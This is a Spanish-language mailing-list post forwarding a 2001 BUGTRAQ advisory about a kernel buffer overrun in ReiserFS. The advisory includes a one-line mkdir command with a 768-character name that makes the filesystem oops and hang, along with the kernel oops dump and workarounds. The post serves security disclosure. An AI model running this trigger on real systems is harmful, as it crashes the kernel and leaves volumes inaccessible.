Agujero de seguridad MAYOR en ReiserFS

[Gunnar Wolf <gwolf en campus iztacala unam mx>]

Para los usuarios que hayan decidido comenzar a usar ReiserFS en Linux (un
sistema de archivos transaccional y de alta velocidad, pero oficialmente
aún no estable), les sugiero fuertemente que se pasen de vuelta a Ext2,
para evitar problemas serios y muy fáciles de causar.

-------------------------------------------------------------------
           Gunnar Wolf    gwolf en campus iztacala unam mx
     Universidad Nacional Autónoma de México, Campus Iztacala
   Jefatura de Sección de Desarrollo y Admon. de Sistemas en Red
       Departamento de Seguridad en Computo - DGSCA - UNAM
-------------------------------------------------------------------

---------- Forwarded message ----------
Date: Wed, 10 Jan 2001 00:42:01 +0100
From: Marc Lehmann <pcg en GOOF COM>
To: BUGTRAQ en SECURITYFOCUS COM
Subject: [BUGTRAQ] major security bug in reiserfs (may affect SuSE Linux)

We are still investigating, but there seems to be a major security problem
in at least some versions of reiserfs. Since reiserfs is shipped with
newer versions of SuSE Linux and the problem is too easy to reproduce and
VERY dangerous I think alerting people to this problem is in order.

We have tested and verified this problem on a number of different systems
and kernels 2.2.17/2.2.8 with reiserfs-3.5.28 and probably other versions.

Basically, you do:

mkdir "$(perl -e 'print "x" x 768')"

I.e. create a very long directory. The name doesn't seem to be of
relevance (we found this out by doing mkdir "$(cat /etc/hosts)" for other
tests). This works.  The next ls (or echo *) command will segfault and the
kernel oopses. all following accesses to the volume in question will oops
and hang the process, even afetr a reboot.

reiserfsck (the filesystem check program) does _NOT_ detect or solve this
problem:

Replaying journal..ok
Checking S+tree..ok
Comparing bitmaps..ok

But fortunately, rmdir <filename> works and seems to leave the filesystem
undamaged.

Since a kernel oops results (see below), this indicates a buffer overrun
(the kernel jumps to address 78787878, which is "xxxx") inside the kernel,
which is of course very nasty (think ftp-upload!) and certainly gives you
root access from anywhere, even from inside a chrooted environment. We
didn't pursue this further.

The best workaround at this time seems to be to uninstall reiserfs
completely or not allow any user access (even indirect) to these volumes.
While this individual bug might be easy to fix, we believe that other,
similar bugs should be easy to find so reiserfs should not be trusted (it
shouldn't be trusted to full user access for other reasons anyway, but it
is still widely used).

Unable to handle kernel paging request at virtual address 78787878
current->tss.cr3 = 0d074000, %cr3 = 0d074000
*pde = 00000000
Oops: 0002
CPU:    0
EIP:    0010:[<c013f875>]
EFLAGS: 00010282
eax: 00000000   ebx: bfffe78c   ecx: 00000000   edx: bfffe78c
esi: ccbddd62   edi: 78787878   ebp: 00000300   esp: ccbddd3c
ds: 0018   es: 0018   ss: 0018
Process bash (pid: 292, process nr: 54, stackpage=ccbdd000)
Stack: c013f66a ccbddf6c cd100000 ccbddd62 0000030c c0136d49 00000700 00002013
       00001000 7878030c 78787878 78787878 78787878 78787878 78787878 78787878
       78787878 78787878 78787878 78787878 78787878 78787878 78787878 78787878
Call Trace: [<c013f66a>] [<c0136d49>]
Code: 89 1f 8b 44 24 18 29 47 08 31 c0 5b 5e 5f 5d 81 c4 2c 01 00


--
      -----==-                                             |
      ----==-- _                                           |
      ---==---(_)__  __ ____  __       Marc Lehmann      +--
      --==---/ / _ \/ // /\ \/ /       pcg en opengroup org |e|
      -=====/_/_//_/\_,_/ /_/\_\       XX11-RIPE         --+
    The choice of a GNU generation                       |
                                                         |

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